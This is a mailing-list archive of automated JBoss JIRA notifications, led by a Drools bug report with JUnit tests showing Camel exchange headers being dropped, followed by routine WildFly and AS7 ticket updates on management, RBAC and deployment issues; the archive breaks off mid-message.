            Assignee: Mark Proctor


When using drools endpoint inside camel project the DroolsExecuteProducer is loosing all the Camel Exchange headers.

Usually the InOut camel producers should be copy all In Exchange Headers to Out Exchange. Please refer to community discussion: https://community.jboss.org/message/837533#837533

Additional tests casess in org.drools.camel.component.CamelEndpointTest class showing exact problem.
{code}

...
@Test
    public void testNoSessionInsertWithHeaders() throws Exception {
        
    	MockEndpoint mockResult = context.getEndpoint("mock:resultWithHeader",MockEndpoint.class);
    	
    	String headerName ="testHeaderName";
        String headerValue ="testHeaderValue";
        
        Person person = new Person();
        person.setName( "Mauricio" );

        InsertObjectCommand cmd = (InsertObjectCommand) CommandFactory.newInsert( person,
                                                                                  "salaboy" );

        Map<String,Object> headers= new HashMap<String, Object>();
        headers.put(headerName,headerValue);
        headers.put( DroolsComponent.DROOLS_LOOKUP,"ksession1");
        
        // set mock expectations
        mockResult.expectedMessageCount(1);
        mockResult.expectedHeaderReceived(headerName,headerValue);
        
        ExecutionResults response = (ExecutionResults) template.requestBodyAndHeaders("direct:test-no-session-withHeader",
                cmd,headers);
        assertTrue( "Expected valid ExecutionResults object",
                    response != null );
        assertTrue( "ExecutionResults missing expected fact",
                    response.getFactHandle( "salaboy" ) != null );
        
        mockResult.assertIsSatisfied();
    }


@Test
    public void testSessionBatchExecutionCommandWithHeader() throws Exception {
        
    	MockEndpoint mockResult = context.getEndpoint("mock:resultWithHeader",MockEndpoint.class);
    	
    	String headerName ="testHeaderName";
        String headerValue ="testHeaderValue";
        
    	Person john = new Person();
        john.setName("John Smith");

        List<Command> commands = new ArrayList<Command>();
        commands.add(CommandFactory.newInsert(john, "john"));
        BatchExecutionCommand batchExecutionCommand = CommandFactory.newBatchExecution(commands);

        Map<String,Object> headers= new HashMap<String, Object>();
        headers.put(headerName,headerValue);
        
        // set mock expectations
        mockResult.expectedMessageCount(1);
        mockResult.expectedHeaderReceived(headerName,headerValue);
        
        //do test
        template.requestBodyAndHeaders("direct:test-with-session-withHeader",
                batchExecutionCommand,headers);
        
        ExecutionResults response = mockResult.getReceivedExchanges().get(0).getIn().getBody(ExecutionResults.class);
        
        assertTrue( "Expected valid ExecutionResults object",
                response != null );
        assertTrue( "ExecutionResults missing expected fact",
                response.getFactHandle( "john" ) != null );
        assertTrue( "ExecutionResults missing expected fact",
                response.getFactHandle( "john" ) instanceof FactHandle);
        
        mockResult.assertIsSatisfied();
    }

@Override
    protected RouteBuilder createRouteBuilder() throws Exception {
        return new RouteBuilder() {
            public void configure() throws Exception {
                from( "direct:test-with-session" ).to( "drools://node/ksession1" );
                from( "direct:test-no-session" ).to( "drools://node" );
                from( "direct:test-with-session-withHeader" ).to( "drools://node/ksession1" ).to("mock:resultWithHeader");
                from( "direct:test-no-session-withHeader" ).to( "drools://node/ksession1" ).to("mock:resultWithHeader");
            }
        };
    }

{code}

I am going to create a pull request to fix this issue. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 20:28:03 2013
From: jira-events at lists.jboss.org (A Majewski (JIRA))
Date: Wed, 18 Sep 2013 20:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-267) DroolsExecuteProducer is
 loosing all Camel Exchange headers
In-Reply-To: <JIRA.12500970.1379547360000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500970.1379547360000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500970.1379547360000.34307.1379550483474@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-267?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

A Majewski updated DROOLS-267:
------------------------------

    Git Pull Request: https://github.com/droolsjbpm/droolsjbpm-integration/pull/70

    
> DroolsExecuteProducer is loosing all Camel Exchange headers
> -----------------------------------------------------------
>
>                 Key: DROOLS-267
>                 URL: https://issues.jboss.org/browse/DROOLS-267
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final,  6.0.0.CR3,  6.0.0.CR4
>            Reporter: A Majewski
>            Assignee: Mark Proctor
>
> When using drools endpoint inside camel project the DroolsExecuteProducer is loosing all the Camel Exchange headers.
> Usually the InOut camel producers should be copy all In Exchange Headers to Out Exchange. Please refer to community discussion: https://community.jboss.org/message/837533#837533
> Additional tests casess in org.drools.camel.component.CamelEndpointTest class showing exact problem.
> {code}
> ...
> @Test
>     public void testNoSessionInsertWithHeaders() throws Exception {
>         
>     	MockEndpoint mockResult = context.getEndpoint("mock:resultWithHeader",MockEndpoint.class);
>     	
>     	String headerName ="testHeaderName";
>         String headerValue ="testHeaderValue";
>         
>         Person person = new Person();
>         person.setName( "Mauricio" );
>         InsertObjectCommand cmd = (InsertObjectCommand) CommandFactory.newInsert( person,
>                                                                                   "salaboy" );
>         Map<String,Object> headers= new HashMap<String, Object>();
>         headers.put(headerName,headerValue);
>         headers.put( DroolsComponent.DROOLS_LOOKUP,"ksession1");
>         
>         // set mock expectations
>         mockResult.expectedMessageCount(1);
>         mockResult.expectedHeaderReceived(headerName,headerValue);
>         
>         ExecutionResults response = (ExecutionResults) template.requestBodyAndHeaders("direct:test-no-session-withHeader",
>                 cmd,headers);
>         assertTrue( "Expected valid ExecutionResults object",
>                     response != null );
>         assertTrue( "ExecutionResults missing expected fact",
>                     response.getFactHandle( "salaboy" ) != null );
>         
>         mockResult.assertIsSatisfied();
>     }
> @Test
>     public void testSessionBatchExecutionCommandWithHeader() throws Exception {
>         
>     	MockEndpoint mockResult = context.getEndpoint("mock:resultWithHeader",MockEndpoint.class);
>     	
>     	String headerName ="testHeaderName";
>         String headerValue ="testHeaderValue";
>         
>     	Person john = new Person();
>         john.setName("John Smith");
>         List<Command> commands = new ArrayList<Command>();
>         commands.add(CommandFactory.newInsert(john, "john"));
>         BatchExecutionCommand batchExecutionCommand = CommandFactory.newBatchExecution(commands);
>         Map<String,Object> headers= new HashMap<String, Object>();
>         headers.put(headerName,headerValue);
>         
>         // set mock expectations
>         mockResult.expectedMessageCount(1);
>         mockResult.expectedHeaderReceived(headerName,headerValue);
>         
>         //do test
>         template.requestBodyAndHeaders("direct:test-with-session-withHeader",
>                 batchExecutionCommand,headers);
>         
>         ExecutionResults response = mockResult.getReceivedExchanges().get(0).getIn().getBody(ExecutionResults.class);
>         
>         assertTrue( "Expected valid ExecutionResults object",
>                 response != null );
>         assertTrue( "ExecutionResults missing expected fact",
>                 response.getFactHandle( "john" ) != null );
>         assertTrue( "ExecutionResults missing expected fact",
>                 response.getFactHandle( "john" ) instanceof FactHandle);
>         
>         mockResult.assertIsSatisfied();
>     }
> @Override
>     protected RouteBuilder createRouteBuilder() throws Exception {
>         return new RouteBuilder() {
>             public void configure() throws Exception {
>                 from( "direct:test-with-session" ).to( "drools://node/ksession1" );
>                 from( "direct:test-no-session" ).to( "drools://node" );
>                 from( "direct:test-with-session-withHeader" ).to( "drools://node/ksession1" ).to("mock:resultWithHeader");
>                 from( "direct:test-no-session-withHeader" ).to( "drools://node/ksession1" ).to("mock:resultWithHeader");
>             }
>         };
>     }
> {code}
> I am going to create a pull request to fix this issue. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 20:33:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Wed, 18 Sep 2013 20:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5001) Add micro versions to the
	management API
In-Reply-To: <JIRA.12468849.1339723574000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12468849.1339723574000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12468849.1339723574000.34311.1379550783439@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-5001?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805647#comment-12805647 ] 

David Lloyd commented on AS7-5001:
----------------------------------

So, it has finally come to this...
                
> Add micro versions to the management API
> ----------------------------------------
>
>                 Key: AS7-5001
>                 URL: https://issues.jboss.org/browse/AS7-5001
>             Project: Application Server 7
>          Issue Type: Task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 20:35:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 20:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.34318.1379550903615@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805648#comment-12805648 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465] from MODIFIED to ON_QA
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>         Attachments: LoopTest.java
>
>
> When there is a Slide Window constraint and the kbase is configured to receive incremental changes from the kagent (drools.agent.newInstance as false) - the engine crashes
> Attached unit test
> Version: 5.3.0

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 20:35:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Wed, 18 Sep 2013 20:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5001) Add micro versions to the
	management API
In-Reply-To: <JIRA.12468849.1339723574000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12468849.1339723574000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12468849.1339723574000.34322.1379550903754@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/AS7-5001?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated AS7-5001:
-----------------------------

    Comment: was deleted

(was: So, it has finally come to this...)

    
> Add micro versions to the management API
> ----------------------------------------
>
>                 Key: AS7-5001
>                 URL: https://issues.jboss.org/browse/AS7-5001
>             Project: Application Server 7
>          Issue Type: Task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 22:55:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 22:55:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5768) Support resource adapter
 deployments via modules
In-Reply-To: <JIRA.12477219.1350477165000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12477219.1350477165000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12477219.1350477165000.34367.1379559305182@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-5768?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805658#comment-12805658 ] 

RH Bugzilla Integration commented on AS7-5768:
----------------------------------------------

belong at redhat.com made a comment on [bug 868964|https://bugzilla.redhat.com/show_bug.cgi?id=868964]

I assume this issue does not need to be documented in the Release Notes - setting to requires_doc_text- accordingly.
                
> Support resource adapter deployments via modules
> ------------------------------------------------
>
>                 Key: AS7-5768
>                 URL: https://issues.jboss.org/browse/AS7-5768
>             Project: Application Server 7
>          Issue Type: Task
>          Components: JCA
>            Reporter: Jesper Pedersen
>            Assignee: Stefano Maestri
>             Fix For: EAP 6.1.0.Alpha (7.2.0.Final)
>
>         Attachments: AS7-5768-example.tgz
>
>
> Add a new minor revision of the :resource-adapters: subsystem where the user has a choice of using
> {code}
> <archive>foo.rar</archive>
> {code}
> or
> {code}
> <module id="com.eis" slot="main"/>
> {code}
> where the latter contains the resource adapter in its unpacked form.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:17:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2105) It's possible to remove
 server group that are in use
In-Reply-To: <JIRA.12500905.1379507925000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500905.1379507925000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500905.1379507925000.34382.1379564223474@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2105?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2105:
-----------------------------------

    Fix Version/s:     (was: 8.0.0.Beta1)

    
> It's possible to remove server group that are in use
> ----------------------------------------------------
>
>                 Key: WFLY-2105
>                 URL: https://issues.jboss.org/browse/WFLY-2105
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>
> In use as in:
> a) referenced from server configuration
> b) referenced from server instance (running server)
> IMO this should not be possible (consistency)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:17:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2105) It's possible to remove
 server group that are in use
In-Reply-To: <JIRA.12500905.1379507925000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500905.1379507925000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500905.1379507925000.34386.1379564223690@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2105?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2105:
-----------------------------------

    Fix Version/s: 8.0.0.CR1

    
> It's possible to remove server group that are in use
> ----------------------------------------------------
>
>                 Key: WFLY-2105
>                 URL: https://issues.jboss.org/browse/WFLY-2105
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> In use as in:
> a) referenced from server configuration
> b) referenced from server instance (running server)
> IMO this should not be possible (consistency)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:21:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2105) It's possible to remove
 server group that are in use
In-Reply-To: <JIRA.12500905.1379507925000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500905.1379507925000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500905.1379507925000.34407.1379564463373@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2105?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805665#comment-12805665 ] 

Brian Stansberry commented on WFLY-2105:
----------------------------------------

Notes on fix: a problem is no HC has a view of all servers, so none can do a global validation all. But, the remove must propagate from the master to every HC, so each HC can validate its own servers, and if any HC fails any domain wide op will fail.
                
> It's possible to remove server group that are in use
> ----------------------------------------------------
>
>                 Key: WFLY-2105
>                 URL: https://issues.jboss.org/browse/WFLY-2105
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> In use as in:
> a) referenced from server configuration
> b) referenced from server instance (running server)
> IMO this should not be possible (consistency)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:23:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2034) Conflict between
 mgmt-groups.properties and "/access=authorisation"
In-Reply-To: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500388.1378813798000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500388.1378813798000.34412.1379564583451@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2034?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry resolved WFLY-2034.
------------------------------------

    Fix Version/s:     (was: 8.0.0.CR1)
       Resolution: Out of Date

    
> Conflict between mgmt-groups.properties and "/access=authorisation"
> -------------------------------------------------------------------
>
>                 Key: WFLY-2034
>                 URL: https://issues.jboss.org/browse/WFLY-2034
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>
> The two concepts are conflicting IMO. It would be better to use a single source for the role assignments. Currently the assigned roles either showup in mgmt-groups.properties or within the management model.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:23:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1972) CLI command should not allow
 same runtime-name to be used at another deploy
In-Reply-To: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499646.1377792094000.34416.1379564583626@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1972?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1972:
-----------------------------------

    Assignee: Emmanuel Hugonnet  (was: Brian Stansberry)

    
> CLI command should not allow same runtime-name to be used at another deploy
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1972
>                 URL: https://issues.jboss.org/browse/WFLY-1972
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>
> Having two deployments with the same runtime-name in the domain content repository, so they can be deployed to different instances, is ok.
> Having two deployments with the same runtime name actually deployed to an instance is not (that's the issue here).
> Same for standalone.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:27:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2042) Enforcement of "RunAs"
	policies
In-Reply-To: <JIRA.12500436.1378826207000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500436.1378826207000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500436.1378826207000.34420.1379564823505@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2042?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry resolved WFLY-2042.
------------------------------------

      Assignee: Darran Lofthouse  (was: Brian Stansberry)
    Resolution: Done


Originally the 'simple' provider was the only one that supported RunAs, and with 'simple' any authenticated user is equivalent to SuperUser. (This is the "consistent with previous releases" setup.)

When Darran added RunAs support to the 'rbac' provider, he did it as stated here.
                
> Enforcement of "RunAs" policies
> -------------------------------
>
>                 Key: WFLY-2042
>                 URL: https://issues.jboss.org/browse/WFLY-2042
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> Currently we do support the role overrides with the additional {roles=[foo,bar]} header. This should be restricted to only take effect when the principal has SuperUser priviledges. In all other cases that header should be ignored.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:27:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1849) Provide complete model
 descriptions for undertow subsystem
In-Reply-To: <JIRA.12498234.1375963980000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498234.1375963980000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498234.1375963980000.34424.1379564823676@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1849?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1849:
-----------------------------------

    Assignee: Tomaz Cerar  (was: Brian Stansberry)

    
> Provide complete model descriptions for undertow subsystem
> ----------------------------------------------------------
>
>                 Key: WFLY-1849
>                 URL: https://issues.jboss.org/browse/WFLY-1849
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management, Web (Undertow)
>            Reporter: Heiko Braun
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:31:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1835) RBAC response codes
In-Reply-To: <JIRA.12498044.1375784516000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498044.1375784516000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498044.1375784516000.34449.1379565063999@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1835?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry resolved WFLY-1835.
------------------------------------

    Fix Version/s:     (was: 8.0.0.CR1)
       Resolution: Duplicate Issue

    
> RBAC response codes
> -------------------
>
>                 Key: WFLY-1835
>                 URL: https://issues.jboss.org/browse/WFLY-1835
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>
> Can we get proper responses codes for authorisation related errors? Anything other then 500?
> i.e.
> {noformat}
> 401 Unauthorized
> 403 Forbidden
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:33:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1916) Deployer role within domain
In-Reply-To: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499073.1377090124000.34452.1379565183394@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1916?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805667#comment-12805667 ] 

Brian Stansberry commented on WFLY-1916:
----------------------------------------

Is this still an issue?
                
> Deployer role within domain
> ---------------------------
>
>                 Key: WFLY-1916
>                 URL: https://issues.jboss.org/browse/WFLY-1916
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> There seems to be a problem with the deplyer role within the domain. In order to operate on doamin deployments, the deplyer requires write access to:
> a) /server-group=*
> b) /deployment=*
> But currently only the later seems to be given. This basically reduces the deployer role to just the abillity to upload contents, but not assign them to server-groups.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:33:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1916) Deployer role within domain
In-Reply-To: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499073.1377090124000.34455.1379565183536@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1916?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1916:
-----------------------------------

      Workflow: GIT Pull Request workflow   (was: jira)
        Parent: WFLY-490
    Issue Type: Sub-task  (was: Clarification)

    
> Deployer role within domain
> ---------------------------
>
>                 Key: WFLY-1916
>                 URL: https://issues.jboss.org/browse/WFLY-1916
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> There seems to be a problem with the deplyer role within the domain. In order to operate on doamin deployments, the deplyer requires write access to:
> a) /server-group=*
> b) /deployment=*
> But currently only the later seems to be given. This basically reduces the deployer role to just the abillity to upload contents, but not assign them to server-groups.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:37:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1732) :read-children-resources
 returns ModelType.OBJECT
In-Reply-To: <JIRA.12497048.1374505329000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497048.1374505329000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497048.1374505329000.34461.1379565423930@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1732?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry resolved WFLY-1732.
------------------------------------

    Resolution: Won't Fix


I don't agree, and changing it would be a breaking change.
                
> :read-children-resources returns ModelType.OBJECT
> -------------------------------------------------
>
>                 Key: WFLY-1732
>                 URL: https://issues.jboss.org/browse/WFLY-1732
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>
> IMO it should return ModelType.LIST

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 00:37:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 00:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1623) Access Control:
	read-children-resources
In-Reply-To: <JIRA.12495505.1372757345000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495505.1372757345000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495505.1372757345000.34464.1379565424040@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1623?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805670#comment-12805670 ] 

Brian Stansberry commented on WFLY-1623:
----------------------------------------

Does this still need clarification?
                
> Access Control: read-children-resources
> ---------------------------------------
>
